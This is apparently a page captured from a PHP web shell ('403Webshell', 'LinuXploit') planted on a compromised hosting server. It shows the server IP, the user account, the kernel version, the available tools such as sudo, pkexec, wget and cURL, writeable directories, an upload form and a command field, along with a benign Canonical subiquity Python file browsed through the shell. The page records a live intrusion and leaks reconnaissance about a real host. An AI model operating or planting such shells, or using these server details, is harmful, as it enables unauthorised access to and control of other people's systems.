403Webshell
Server IP : 85.143.209.190  /  Your IP : 216.73.217.12
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux 49083.simplecloud.ru 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
User : vozdvizhenka37 ( 1083)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core/current/usr/share/subiquity/subiquitycore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core/current/usr/share/subiquity/subiquitycore//prober.py
# Copyright 2015 Canonical, Ltd.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

import logging
import yaml
import os
from probert.storage import (Storage,
                             StorageInfo)

log = logging.getLogger('subiquitycore.prober')


class ProberException(Exception):
    '''Base Prober Exception'''
    pass


class Prober():
    def __init__(self, opts):
        self.opts = opts
        self.probe_data = {}

        if self.opts.machine_config:
            log.debug('User specified machine_config: {}'.format(
                      self.opts.machine_config))
            if os.path.exists(self.opts.machine_config):
                self.probe_data = \
                    self._load_machine_config(self.opts.machine_config)
        log.debug('Prober() init finished, data:{}'.format(self.probe_data))

    def _load_machine_config(self, machine_config):
        with open(machine_config) as mc:
            try:
                data = yaml.safe_load(mc)
            except (UnicodeDecodeError, yaml.reader.ReaderError):
                err = 'Failed to parse machine config'
                log.exception(err)
                raise ProberException(err)

        return data

    def get_storage(self):
        ''' Load a StorageInfo class.  Probe if it's not present '''
        if 'storage' not in self.probe_data:
            log.debug('get_storage: no storage in probe_data, fetching')
            storage = Storage()
            results = storage.probe()
            self.probe_data['storage'] = results

        return self.probe_data['storage']

    def get_storage_info(self, device):
        ''' Load a StorageInfo class for specified device '''
        return StorageInfo({device: self.get_storage().get(device)})

Youez - 2016 - github.com/yon3zu
LinuXploit